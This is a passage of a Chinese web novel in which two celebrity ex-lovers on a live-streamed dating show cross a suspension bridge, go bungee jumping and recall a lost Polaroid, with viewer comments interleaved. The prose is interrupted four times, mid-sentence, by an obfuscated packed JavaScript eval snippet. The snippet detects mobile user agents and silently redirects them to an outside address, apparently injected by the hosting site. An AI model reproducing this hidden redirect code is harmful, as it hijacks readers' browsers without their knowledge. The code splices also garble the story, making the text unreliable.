因为此猫在看穿这两只两脚兽兜里什么都没有后，依然没有绝情离去，而是又跟他们温存了好一阵。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14796849|158327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 直到两人因为时间原因，不得不接着往山上走后，才与他们告别。 走出一段距离后，沈絮看着仍依依不舍的秦祁，有些奇怪。 “以前怎么不见你这么喜欢猫？” 秦祁爱猫沈絮是知道的，但在沈絮印象里，此人还没热爱到到路上窜出来一只猫他都能陪着玩半小时的程度。 这本来是再平常不过的一句询问，秦祁却意外地停顿了一下，没有立刻回答。 直到沈絮停下脚步，投过来一个询问的眼神，他才清了清嗓子。 “你不觉得刚刚那只猫，和奶茶很像吗？” 【奶茶？哥你是渴了吗？这是怎么联想到的？】 【不是喝的那个吧，秦祁是不是说过他以前养过一只猫啊？】 【所以是猫主子叫奶茶吗？】 沈絮愣了愣，才反应过来秦祁在说什么。 奶茶是秦祁家里养的一只三花，从秦祁十岁那年开始就一直陪着他。 等沈絮跟它见面的时候，奶茶已经是一只老猫了。 在沈絮的印象里，那是一只很温顺的猫，像是对所有两脚兽都有着非同寻常的包容心一样，无论怎么摸它，奶茶都不会生气。 哪怕在寒冬腊月里被秦祁从有着暖气的屋子里偷出来，就为了在冰天雪地里和沈絮一起拍一张所谓的“一张三口照”，奶茶也只是用肉垫轻轻给了秦祁的鼻子一巴掌。 不过或许是因为沈絮几次见奶茶都是在冷天，他印象里的奶茶总是不太爱动。 而刚刚的三花，活泼又灵动，那半个小时里几乎没有停下过转圈的脚步。 虽然脾气也很好，但沈絮确实没能把它和奶茶联系起来。 秦祁有些出神，回忆道：“奶茶也是这样，每次我一回家就会扑过来找我。虽然表面上是我陪它玩，但实际上是它给了我无可代替的陪伴。” 说到这，秦祁难免有些伤感。 ——奶茶已经在四年前离开秦祁，独自回到了喵星。 无意间戳到秦祁的伤心事，沈絮一时也有些语塞。 而秦祁似乎也反应过来，这又是一段沈絮不曾了解的过去。 秦祁刚想说些什么缓和气氛，就见沈絮凑近几步，拍了拍秦祁的头。 像是没忍住，拍完后又顺手揉了几下。 秦祁不知道有多久没见过沈絮这么温柔的样子了，看着沈絮在他眼中猛地放大的脸，下意识摒住了呼吸。 像一只明明做错了事，却反而被主人安慰后，不知所措愣在原地的大狗。 沈絮一边想，前任的魅力果然来自人的想象力，一边又不由得被自己的想象逗笑。 而秦祁根本不知道在这一瞬间沈絮脑子里闪过了什么奇奇怪怪的念头。 他只觉得自己马上就要被心里那头到处乱撞的死鹿弄死了。 15. 第 15 章 秦祁的喉结上下滚动了下，大脑持续宕机。 不是，他为什么要摸我？ 这也在营业范围内吗？ ……但是摸得还挺舒服的。 不对，他凭什么摸我？ 现在就摸头了那后面几期不是还得亲嘴？ 这算工伤吧，算吧？？？ 余光瞥见沈絮抽手，秦祁下意识伸手一把抓住了沈絮的手掌，动作快得自己都没反应过来。 怎么还想摸了就跑？ 秦祁你不要再被这个负心汉玩弄于股掌之间了！ 沈絮看着自己被拉住的手，眉头跳了跳，眼神颇有些玩味。 得寸进尺。 秦祁不自在地挪开了目光。 沈絮哼笑一声，却也很给面子地没甩开。 【你们俩真的无时无刻不在调情。】 沈絮若有所思地朝来时的山路看了一眼，然后拎起秦祁抓着他的手甩了甩，说：“走吧，不然等上去真就天黑了。” 然而等两人真爬到了地方，沈絮却恨不得掉头回去再跟猫玩仨小时的。 【我的妈，情深这边的项目真是把刺激贯彻到底啊。】 到底是哪个人才想出来的蹦极前还要再走一截吊桥？ 沈絮蹙了蹙眉，在看到上面还有小孩跑来跑去的时候，更是深深吸了口气。 “沈老师，”秦祁戳了戳沈絮的脸，“小小吊桥，轻松拿下？” 沈絮三年前拍的一部片子里就有他走吊桥的镜头，当时片方的花絮里还说沈絮这条拍得很顺利。所以秦祁顺理成章地认为沈絮对这玩意没什么感觉。 然而当他被沈絮没好气地瞪了眼时，就意识到事情好像不是他想的那样。 但沈絮也只是叹了口气：“走吧，早死早超生。” 其实倒不是真怕吊桥，就是…… 沈絮有瞥了眼桥上那几个跑来跑去没个数的小孩，心里“啧”了一声。 他讨厌这种不可控的炸弹。 听到沈絮说走，秦祁默默把那句“实在怕的话可以去看看有没有办法绕路”咽了回去。但注意力却没再从沈絮身上离开过。 作为常年热衷于进行各项极限运动的人，这种吊桥对秦祁来说简直是小儿科。他在上面来段街舞蹦过去都没问题。 但这次他走得尤为小心，每一步都力求平稳，生怕哪步走岔了害吊桥猛一下晃起来，影响到沈絮。 秦祁就这么匀速地走在沈絮身后几步远的地方，半张着手臂，目光全集中在沈絮身上。 秦祁对距离的把控相当精准，这是一个很合适的距离，既不会影响到沈絮，也能在沈絮脚滑的时候第一时间上去扶住他。 不过沈絮倒也没有像秦祁想得那样畏惧，恰恰相反，他走得还挺稳的。 虽然算不上快，但沈絮一直保持着匀速前进，没一会，他们就到了吊桥的中间地带。 可以看出来花絮里导演夸他的话并不作假。 那刚刚这人为什么面色凝重？ 秦祁皱眉不解，稍稍分了下神。 就在这时，沈絮一个踉跄！ “！！！” 秦祁吓得扑上去就抓住沈絮的胳膊把人扶住。 几乎是同时的，沈絮的手下意识往后一捞，精准抓住了秦祁伸过来的胳膊，借力保持住了平衡。 ——就好像他早就知道秦祁会站在什么地方保护他一样。 【哇靠什么老夫老妻感……】 沈絮倒过气来，调整了下姿势，一手抓着秦祁，一手拽着旁边的围栏，重新在剧烈摇晃的吊桥上站稳。 是的，剧烈摇晃的。 秦祁这时才反应过来为什么沈絮会突然失去平衡。 因为前方不远处，一个小孩正拽着吊桥的围栏，一边晃一边死命地蹦。 每一次落地都发出“砰”“砰”的响声。 本来吊桥中心就是最容易摇晃的地方，有这么个不可控易燃易爆物影响，真是想不摔都难。 【？？？】 【我靠什么素质啊我真服了。】 【熊孩子看得我血压都上来了。】 沈絮深深呼吸，压抑住心底的烦躁，加快了脚步。 “别逞强，可以走慢点，”秦祁说，“我会扶住你的。” 沈絮却没慢下来。 过了会，他带着点笑意的声音传了过来：“就是因为知道你会在后面，所以才敢走快。” 【wdm好会说。】 【别说秦祁了，我听到这句话都瞬间熄火了。】 摄像老师也很懂行，马上给了秦祁一个面部特写。 于是所有人都看到，本来一直隐隐围绕在此人眉间的烦躁不安，不知道什么时候已经散了个七七八八。 在沈絮刻意加快的脚步下，两人很快就通过了吊桥。 眼看着沈絮离开吊桥，踏上了地面，秦祁一口气还没松到底，余光就瞥见斜前方不知道什么东西冲了出来。 下一秒，沈絮被撞得向后仰倒，险些从围栏边翻下去！ 秦祁瞳孔骤缩，也不管什么得不得体了，连滚带爬地冲上去把人一拽，一把搂到怀里，往前方的空地扑去。 先特么远离这个高危地带再说！ 【！！！】 【我靠好帅！】 【我服了，这种危险项目能不能禁止熊孩子进入！】 生死时速，沈絮显然也被吓得不轻。 换做平时，要是有人话都不说就从背后扑上来搂他，那就算是天王老子来了也得挨一巴掌。 但此时，与秦祁肌肤相贴竟让沈絮感到如此心安。 从身后传来的暖意渐渐唤回了沈絮飘离的神智。 沈絮剧烈跳动的心脏渐渐平复下来，他下意识把冰冷的手掌贴到秦祁手臂上，想汲取几分暖意。 但却惊讶地发现，原来秦祁也浑身发冷。 沈絮把手掌贴在秦祁小臂上，一时分不清他们俩到底是谁在颤抖。 但当背后那断断续续地呼吸打在自己后颈上时，沈絮就得到了答案。 真奇怪，这个人竟然在因为自己而感到害怕。 而他竟然会因为这个人而感到心安。 这是沈絮十几年来都没有过的稀奇体验。 哪怕之前和秦祁在一起时也没有。 十八九岁的秦祁是沈絮捧在手心的宝石。 宝石是用来宝贝、欣赏、疼爱甚至炫耀的。 但宝石并不能给人带来安全感。 毕竟没有人会让宝石替自己抵挡伤害。 沈絮努力侧过身，轻轻拍了拍秦祁的侧脸。 “没事了，”沈絮小声说，“让我起来吧。” 秦祁没说话，反而把他搂得更紧了。 过了几秒，当沈絮感到身后打来的呼吸恢复了绵长后，秦祁才松开了他。 身后的热源消失了，沈絮调整了下身体，正想撑地站起来时，就发现已经站稳的秦祁半俯下身，向他递来了一只手。 沈絮顿了顿，收回了已经撑在地上的手，转而握住了秦祁的手，借力站起。 两人这才有心思转头去看吊桥口刚刚害沈絮险些翻下山崖的罪魁祸首。 ——又是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14796850|158327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个小孩。 如果他们的记忆没出错，刚刚就是这个小孩，路都不看就往吊桥上横冲直撞。 而站在吊桥口的沈絮就倒了大霉，直接被这颗炸弹撞到重心不稳，险些翻下山崖。 而秦祁扑过来时刚好把他带倒了，这个以为自己摔了一跤简直是受了天大委屈的熊孩子正一屁股坐在地上嚎啕大哭。 此时，熊孩子那消失的家长也姗姗来迟。 “怎么回事！你们两个大男人，怎么还欺负小孩呢！” 【？？？】 【我都“？”键要按烂了呀。】 秦祁看着眼前这个不管三七二十一上来就问责的家长，简直是一刻都忍不了。 他那颗因为沈絮遇险而横冲直撞不得安定的心此时好像终于找到了发泄口，怒火直冲大脑，瞬间将理智焚烧殆尽。 然而他那气势汹汹的一步还没迈出去，就被沈絮拉住了。 “让经纪人联系他，秦祁。”沈絮说，“我们后面还有行程。” 秦祁不可置信：“都这样了，你还想着行程呢？” 沈絮轻笑:“也没怎样，就是擦破点皮——你把我保护的很好。” 几句话下来，秦祁的理智也回笼不少，但显然还是有些不甘。 凭什么就这么高高拿起轻轻放下？ 如果他刚刚反应不及时，那沈絮岂不是…… 秦祁不敢继续往下想。 他又开始往吊桥口偏头。 秦祁看到节目组已经有人上前和熊孩子家长交涉。 沈絮一把捧住了秦祁的脑袋，强硬地把眼前人的头扳了过来。 “看着我。”沈絮说，“秦祁，你知道我刚刚站起来的时候，第一反应是什么吗？” 秦祁抿了抿唇，却也没有再往吊桥口看：“大难不死，必有后福？” “不是，”沈絮说，“我只是在想，吊桥效应难道是真的？” 不然该怎么解释，他那一瞬间的心动？ 【……哇塞。】 【我甚至反应了几秒，太会说了。】 【真的一键熄火了。】 秦祁就这么被沈絮拉着走远了。 虽然怒火已经下去，但不知道为什么，这人的耳根更红了。 直到吊桥已经消失再了他们视野之中，秦祁才再次开口。 “以前遇到这种事，你也是就这么……” 秦祁说到这，又停下来，似乎想找到一个合适的形容词。 但搜索片刻，也没能得到满意的结果。 “这么软弱地吃哑巴亏？” 最后还是沈絮先帮他说了。 沈絮摇摇头：“当然不是，刚才如果只有我一个人，我肯定不会善罢甘休。” 沈絮哪里是肯吃亏的人？他要是甘愿吃亏，他根本走不到今天。 只是刚刚站在那的不止他一个，要当出头鸟的也不是他。 跟沈絮毁誉参半的名声不一样，秦祁出道至今，风评一直很好。 要说至今给秦祁带来最多负面舆论的事情，大概就是跟沈絮传出恋情了。 所以，当看到秦祁那不管不顾的眼神时，本来也怒火中烧的沈絮一下子就冷静下来。 沈絮清楚地知道，在那一刻有多少镜头在对准秦祁。 有形的、无形的，节目组的、路人的，善意的、恶意的…… 秦祁的一举一动都会被无限放大，他的每一分情绪都会被赤裸地剖开，任人肆意点评。 于是下一秒，沈絮拉住了秦祁，告诉他—— “交给经纪人，你跟我走。” 16. 第 16 章 秦祁听完沈絮这番话，愣了两秒，叹道：“沈老师，怎么这么双标。” 秦祁的喉结上下滚了滚，显然是还有话想说。但考虑到现在还在直播，想想，还是决定将这件事暂缓。 沈絮被秦祁拉过去，细致地检查了一遍全身，确认他确实没受什么伤后，两人这才继续往蹦极点前进。 等到了地方，秦祁一边穿着护具，一边问：“沈老师，这个你怕吗？” 沈絮正张开双臂，让教练帮忙调整护具的位置。 听到秦祁这话，沈絮倒没有马上回答。 他只是歪歪头，思索了一下，上下打量秦祁一番。 直到秦祁被他看得有些不自在，欲盖弥彰地伸手摸摸鼻尖，沈絮这才笑了。 沈絮说：“我们跳双人的吧。” 秦祁：“……啊？” 【为什么要奖励他。】 【你在“啊”什么，这难道不就是你想要的吗？我都懒得说你（指指点点）。】 说话间，沈絮的护具已经调整好了。 他上前几步，走到秦祁身前。秦祁下意识地半张手臂，沈絮就这么抓上了他的手腕。 他们上来的有些晚，天已经有些昏暗了。 山顶本就风大，这会配着昏沉的天，倒真有些说不出的压抑。 沈絮的长发被吹得乱飞，眼前的视野被糊了个七七八八。 沈絮腾出左手拨了拨头发，没拨开。 秦祁就伸出那只被放开的手，帮他把前面纷飞的碎发拨回耳侧。 ——虽然下一秒，发丝又被大风吹乱。 沈絮被逗乐了，说：“像不像在渡劫？” 风声太大，沈絮的话音其实被吹得有些破碎。 但秦祁还是瞬间就读懂了他在说什么。 然后也跟着笑了。 阴沉的天，人烟稀少的山巅，呼啸的狂风。 确实很像。 “我们要同生共死了吗？”秦祁问。 “上岸第一剑，”沈絮的左手又握回了秦祁手腕上，“你要先斩意中人吗？” 秦祁看了沈絮一眼，没答话。他把沈絮握在自己手腕上的一只手移到手臂上。 于是沈絮的另一只手也跟着动了。 两只手掌就像翩飞的蝴蝶，在秦祁的手臂上轻点几下，轻轻掠过后，翩然抵达了秦祁的后背。 秦祁感受到了那对虚虚环绕在自己背后的手臂，于是他主动更进一步，将沈絮搂在了怀里。 直到感受到那对属于怀中人的手臂真真切切地拥抱住了自己，秦祁这才心满意足，轻轻地把头靠在沈絮颈窝里。 这时，咆哮的风才把那句迟到的回答送到沈絮耳畔。 秦祁说：“我怎么舍得。” 沈絮感觉到秦祁抱着他转了个身。 秦祁就这么一步步带着他走到了跳台边缘。 “准备好了吗？”秦祁问。 沈絮说：“yes，ido.” 于是秦祁带着他，向后倒去。 下一秒，疾驰的风瞬间裹挟了沈絮。 骤然的下坠对沈絮而言是一种很陌生的体验。 他不恐高，但他厌恶未知。 不过这次，负面情绪却没能成功入侵。 比忐忑先到来的，是秦祁的体温。 是意外吗，沈絮想，为什么短短一天内，他两次从这个人身上感到了，十多年来也未曾收获的安全感？ 失重的感觉攥紧了心脏，让心跳也失序。倒转的姿势让血液倒流，大脑也被连累到失控。 一定是这样。 不然该怎么解释，他竟把这一瞬，误认为是心动？ 坠落是自由的，连带着思绪也随风飞远。 沈絮无端地想到，其实比起这样面对面的拥抱，秦祁更喜欢从背后搂他。 在一瞬间，沈絮眼前就闪回了无数幅画面。 从今天在吊桥口的飞扑，秦祁通过胸膛传递来的剧烈心跳，到上期节目，他们相拥而眠，醒来时□□间毫无间隙的模样。 再久远些，有秦祁第一次带他跳伞，从飞机上的肌肤相贴，到落地后从耳畔传来的笑声和后颈被人拱到发痒的感觉。 比起恋人式的面对面拥抱，秦祁更爱这种保护者一般的姿态。 或许是他很早就隐隐意识到了什么，于是急迫地想要从各个方面向沈絮证明。 是从什么时候开始的呢？ 沈絮的思绪飞回了多年前的大年初一。 那是他印象里，秦祁第一次坚持要这么抱他。 ———— 那是他们在一起的第一年。 “你怎么来了？”秦祁趁妈妈在忙，一溜烟地下了楼，看见靠在别墅围墙旁的沈絮，眼睛一下就亮了。 “惊喜，”沈絮伸手摸了摸他的脸，笑，“怎么，不喜欢吗？” “怎么会？”秦祁一把拽住了沈絮要移开的手，皱了皱眉，“你手怎么这么冰？” 说着，秦祁把自己的围巾拉松了些，拉着沈絮的手贴在自己脖子上。 他被冰得抖了一小下，却仍坚持着等到沈絮的手掌和自己的脖子同温，才把那双手揣进自己口袋里接着取暖。 “大年初一就从粤海飞过来找我，你家人没意见吗？” 沈絮伸手弹了弹秦祁的鼻尖，看到人吃痛一下，又笑着凑上去给秦祁揉。 “你再问东问西，”沈絮说，“我就走了。” 这话一出，秦祁果然不问了。 秦祁能明显地感觉到，沈絮在转移话题。 但这个人在新年第一天千里迢迢地过来找自己，秦祁舍不得让沈絮不开心。 所以他想了想，问：“你饿不饿，要不上去一起吃顿午饭？我妈妈做饭很好吃的。” 他们俩在一起的第一天，秦祁就跟家里交了底。 爸妈对这一切都接受良好。 所以虽然此时沈絮的到来在意料之外，但秦祁也有把握让他在自己家里度过愉快的一天。 “神经兮兮的，”沈絮这回不弹鼻子，改拍头了，“哪有这样莫名其妙就上门的？” “那你难道要在楼底下待一天？” 沈絮说：“你想得太美。我来这里有正事的，顺路来看你一眼而已。” 秦祁看沈絮一眼，不接话了。 他看出来沈絮在说谎。 沈絮只是不想上去。 既然沈絮不想，秦祁当然不好强迫。 但沈絮来这么一趟，要是只跟他在楼下聊几句天，秦祁会觉得自己亏大了。 于是他想了想，跟沈絮说：“你等我一下。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14796851|158327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沈絮歪着头，看这人就这么“噔噔噔”进了门。 不一会，秦祁狗狗祟祟地又出来了。 走近一看，沈絮才发现此人怀里居然窝藏了一只三花猫。 “介绍一下，”秦祁把猫举起来，“这是奶茶。” 说完，秦祁又把奶茶往沈絮那凑了凑，见沈絮并不抗拒，这才让奶茶跟沈絮贴了贴脸。 “奶茶，”秦祁说，“这是沈絮。” 沈絮摸了摸猫：“很高兴认识你，奶茶。” 两人跟猫玩了一会，秦祁确认奶茶挺喜欢沈絮后，才掏出了一直收着的拍立得。 沈絮一抬头，就听见秦祁说，我们来拍个一家三口全家福。 沈絮：？ 沈少爷略有些跟不上秦祁这天马行空的思路，但沈少爷选择溺爱。 于是三分钟后，沈絮抱着奶茶，有些无奈地看着身后一手举着拍立得，一手搂沈絮，还执着于找到自己最帅角度的秦祁。 “不别扭吗？”沈絮拉了把秦祁，“站我旁边这么委屈你？” “我不，”秦祁说，“我就要搂着你，这是我家庭地位的体现。” 沈絮：…… 不过好在，虽然经历了一番折腾，但这张“全家福”最后拍得十分完美。 画面里，沈絮精致的面容上泛起发自内心的笑容，整个人漂亮的要命。奶茶被他搂在怀里，一只小爪子被捏到身前，露出了漂亮的小梅花。 而秦祁找了半天角度，最后拍的时候却放弃了正脸出境，只是偏头注视着沈絮，眼神温柔得可以掐出水来。 沈絮没有和秦祁对视，但他的充满笑意的桃花眼没有一刻不在证明，他感受到了身边人的爱意，并在为此而感到幸福。 因为调整姿势花了太久，两人一猫的头上都落了白白的雪花。 拍出来的拍立得需要一段时间成像，但那天秦祁没来得及等那么久，就在妈妈的电话轰炸下进了门。 “我会永远记住这一刻的，”秦祁进门前，最后说，“这会是我这么多年来，看过最美的雪景。” 而几天后，沈絮收到那张拍立得时，上面多了一行手写字。 ——“今朝若是同淋雪，此生也算共白头。”* ———— 后来那张拍立得怎么样了呢？ 沈絮在半空中想。 那张拍立得，在它被拍出来的一年后，在一场已经记不清起因的争吵中，被秦祁亲手撕坏了。 吵架的时候，狠话放得比谁都利索，但当真的人去楼空，只剩下自己一个人待在公寓里时，沈絮又很没出息地把拍立得捡起来拼好，默默扫描出了电子版，存在手机里。 但毕竟是被狠狠撕坏了的东西，哪怕拼起来的时候再小心，也不可能恢复如初了。 三个月后，沈絮看着手机里那张，两张脸已经被破坏的模糊不清，底部的字句也缺斤少两的照片，沉默良久，按下了删除。 思绪飞了这么远，收回来时才发现原来也没过去多久。 蹦极结束，秦祁拉着沈絮回到了地面上。 “在想什么，沈老师？”秦祁问，“这么入神。” 沈絮回过神，盯着秦祁看了两秒，伸手轻拍他胸膛。 “小混蛋，”沈絮叹，“一吵架就撕我照片。” 17. 第 17 章 【？我错过什么了吗？】 【怎么突然扯到照片了？】 【不过翻旧账的絮好可爱哦……】 【这怎么不算是一种特殊对待呢……絮一般要不是有仇当场就报，要不就是无所谓地笑一下就过了的，只有在秦祁这里才会疯狂翻旧账哎。】 【对不起，幻想到一些“翻篇一件事才动一下”的play……】 【上面的老师，五分钟内我要看到你做的饭。】 秦祁听见沈絮这没头没尾的话，先是迷茫了一下，片刻后才反应过来他在说什么。 秦祁也没想到这么一通下来，沈絮做的第一件事居然是翻旧账。 而更奇怪的是，他听到沈絮提这件事的第一反应居然是心虚。 真是反常，之前沈絮每次提到从前，无法抑制的怨恨和不甘就会争先恐后地涌上秦祁心头。 他会不由自主地想撕碎沈絮那平静的假面，想要拉沈絮共同沉沦。 他会想，凭什么当初两人同入爱河，现在沈絮却独善其身。 就好像他们两个没爱过一样。 在这些情绪的驱使下，秦祁会对沈絮蓄意挑衅，会恶语相向，然后他们针锋相对，最后不欢而散。 可这次，秦祁却是下意识地摸了摸鼻尖，偏过头颇为不自在地干咳一声。 到底是为什么呢，难道蹦个极连脑子都蹦坏了吗？ “怎么不说话？” “……是我错了，”秦祁心虚道，“沈老师原谅我吧。” 沈絮挑挑眉，隔空点了点秦祁心口，转头就走。 秦祁：？ 秦祁略有些哭笑不得，紧跟几步上去，抓住了沈絮的手。 “沈老师要怎么才能原谅我？” 沈絮笑而不语片刻，直到秦祁已经有些手足无措，这才放过他。 沈絮说：“可是我其实没有怪过你。” 没有责怪，谈何原谅？ 【……我天。】 【我服了，秦祁你但凡多坚持几秒呢。】 【笑得太不值钱了。】 【妈呀沈絮太会撩了，这个第一视角看得我都迷糊了。】 【等一下。你们要干什么？】 【？不准关摄像头啊啊啊啊啊啊！】 ———— 因为一整天连续不断的奔波，再加上沈絮差点遇险，今天的直播在蹦完极后就结束了。 本来计划的晚餐直播也改到了明天早上的早餐时段。 这正合了两人的意。 回到酒店，沈絮先行洗漱完后，就下到了节目组提前安排好的包厢里，点好菜等着秦祁。 这人来得倒是比沈絮预想中的慢一些。 不过好在今天沈絮心情不错，对秦祁有着十足的耐心。 等得有些无聊了，沈絮干脆拿出手机，点进一个对话框里敲敲打打。 秦祁走来的时候，沈絮刚好按下发送，紧接着就熄了屏。 秦祁只依稀看到，对方的头像是一只小猫。 ……沈絮身边什么时候又多了个猫奴朋友？ “动作真慢。” 沈絮一抬头，看到不远处的秦祁，笑着揶揄一句。 秦祁和沈絮对上视线，就瞬间把那些杂七杂八的东西抛在了脑后。 “弄这个费了点时间，”秦祁从口袋里掏出一个不知什么东西，递到沈絮面前，“希望沈老师宽容大量，不要和我计较。” 沈絮低头看去，随即惊讶地发现，那竟然是……又一张“全家福”拍立得。 沈絮的大脑难得停止了转动，他的目光在拍立得和秦祁的脸上徘徊几回，一时竟不知今夕何夕。 但很快，沈絮就明白过来些什么。 毕竟，这张照片看起来是这么崭新，甚至没有一点泛黄，全然没有放了六七年的样子。 更明显的是下方的那一行字——虽然依旧好看，但比起六年前，签惯了连笔字的秦祁，字迹已然潦草许多。 这是一张刚刚被打印出来的拍立得。 它的制作者在尽力让它和之前那张看起来更为相似。 就好像，想要为那些遥不可及又不可言说的遗憾，做一些迟来的弥补。 “当年把那张照片给你之前，我扫了个电子版存档，”秦祁有些紧张地抿抿唇，“没想到还有派上用场的一天。” 刚刚进门的时候，秦祁就注意到前台写的，提供拍立得打印服务。于是在沈絮去洗漱的时候，他就顺路去问了一句，没想到居然还真可以。 不过六年前的照片有点难翻，再加上当时拍得有些模糊，打印前还得修复一下，因此多花了点时间。 不过好在，最后出来的成果相当不错。 沈絮盯着照片上熟悉又陌生的画面，一时有些慨然。 这感觉就好像心里最柔软的某处被戳了一下，说不感动是假的。 因为这几分柔软，沈絮今晚对秦祁多有纵容。 基本到了一种说什么都答应的地步。 就连秦祁提出要和他一起看《恋爱实施攻略》的录播版，沈絮都点了头。 ——是的，这节目不仅会直播，每天结束后还会剪出一个录播版，放在视频网站上，给后来的粉丝们补课。 秦祁提起这一茬时，今天的录播刚发布不久。 于是两人就顺势点了进去。 两个当事人都在场，只看画面当然没什么意思，于是秦祁在打开视频的第一时间就把弹幕摁开了。 沈絮注意到他的动作，却也只是似笑非笑地睨了他一眼，没多说什么。 刚开始一段的弹幕没什么特殊的，大多是相互调侃和磕cp之间夹杂着一些对家打架。 这个对家特指沈某和秦某的唯粉。 而让沈絮没想到的是，第一个弹幕爆发的片段，居然是—— “好啊。” 画面上的人轻轻瞥了身前的人一眼，一双桃花眼里好像盛着无限风情，又好像只是单纯地看对方一眼。 而美人的手上，正看似随意地拎着一把枪，身后的靶子上，是枪枪十环的战绩。 【草草草草草草，好辣好辣好辣。】 【对不起我刚刚话说早了，对家姐出来和好，我要爬墙了。】 【妈呀我收回之前说秦祁脑子抽了的言论，*的，你放不下沈絮也正常……】 而在这之后，几乎每次弹幕的爆发，都是因为沈絮。 沈絮拍秦祁的头，弹幕尖叫。 【别拍他了，主人，拍我。】 【嫂子开门我是我哥。】 沈絮因为秦祁，所以在吊桥事件上选择退一步，弹幕心疼。 【絮真的……我不在乎自己的名声，但是我在乎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14796852|158327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你的。】 【真的好温柔。】 【坏了，这下不得不磕了。】 而沈絮和秦祁在蹦极跳台边的几句拉扯，更是让弹幕疯狂刷新，就连视频界面都有些卡顿。 【不懂就问这里是情深婚礼现场吗？】 【不知道啊他们喊着什么“yesido”什么“同生共死”就冲上来了。】 【我在电脑后面发出鸡叫啊啊啊啊啊啊！】 沈絮看着花式尖叫的弹幕，嘴角不由得抿出几分笑意。 这时，秦祁把手机屏幕递到了沈絮面前。 上面是一个热搜界面，词条是【沈絮会撩】。 而一眼望去，绝大部分的言论都是在捧心尖叫。 “你看，”秦祁轻轻开口，“大家都很喜欢你的，为什么你总觉得自己会挨骂？” “——还是说，是你在希望自己被骂？” 沈絮的嘴角僵了僵，佯装不懂：“嗯？” 秦祁这次却不再任他轻轻揭过，他早就意识到沈絮对于舆论的态度有些奇怪。 业内都知道，鹭水的公关部是出了名的有能力。 按理来说，沈絮作为鹭水各方面而言的顶梁柱，鹭水都不会让他留下这么多的负面传闻。 那些捕风捉影的绯闻，只要鹭水想，根本放不出来。 可鹭水却总是选择沉默到底。 甚至关于“潜规则”的一些谣言，鹭水也呈一种放任姿态。 不承认、不否认、不解释。 除了沈絮有意放任，秦祁想不到第二个鹭水这么做的理由。 “你说你心疼我被那些风言风语中伤，那你有没有想过，你放任那些流言的时候，我……”秦祁咬了咬牙，把下意识出口话音吞回去一些，换了个说法，“在意你的人会怎么想？” 沈絮深吸一口气。 他看着秦祁一副要促膝长谈的样子，伸手拿过了一旁的酒杯。 沈絮倒上酒，啜饮一口后，把就被举到面前。 灯光经过酒水的折射，映在了沈絮脸上。 在酒的浸润下，沈絮就像一朵艳丽到有些颓靡的花。 而这朵花现在已经彻底封闭了自己。 他将一晚上的宽容都收回，重新变回了那个八面玲珑却无法接近的模样。 可他的面前是撞碎南墙也不回头的秦祁。 秦祁盯着他，一字一句地问：“为什么要放任那些流言？” 沈絮好像醉了，但他明明没喝几口。 这如镜花水月一般美好的幻梦，终于被造梦者亲手打碎了。 沈絮说：“不要再谈这个了，秦祁。” 沈絮的眼神那样锐利，让秦祁不禁也想要一杯酒来镇痛。 可桌上竟没有第二个酒杯。 秦祁只好转回头去和沈絮对视。 他好像一下子回到了几年前，他们第一次争吵爆发的时候。 那是秦祁第一次，对沈絮的过去刨根问底。 那时的秦祁已经因为在沈絮的心扉前徘徊不得入许久，而无时无刻不在内耗与心焦。 他率先在争吵中崩溃，流着泪，企图用沈絮对自己的“心疼”来撬开沈絮的心门。 可那时的沈絮，也是用这样的眼神看着他。 然后一字一顿地说—— “你越界了，秦祁。” 18. 第 18 章 分手前，秦祁时常觉得，自己是沈絮豢养的一只爱宠。 沈絮会溺爱他、会夸赞他、会维护他…… 一个完美恋人该做的事，沈絮看起来都做到了。 但……沈絮不会依靠他。 就好像，主人不会希望宠物能给自己带来除了情绪价值以外的任何帮助。 或许秦祁还不如一些宠物。 因为沈絮甚至连情绪价值都不向他索取。 ———— 这是沈絮对秦祁避而不见的第五天。 电话不接，消息轮回，问就是在忙，想见面就说在剧组抽不开身。 但那时的秦祁，为了能离沈絮更近一点，早已接住消息灵通的谢兰递出的橄榄枝，在娱乐圈混的也算小有名气。 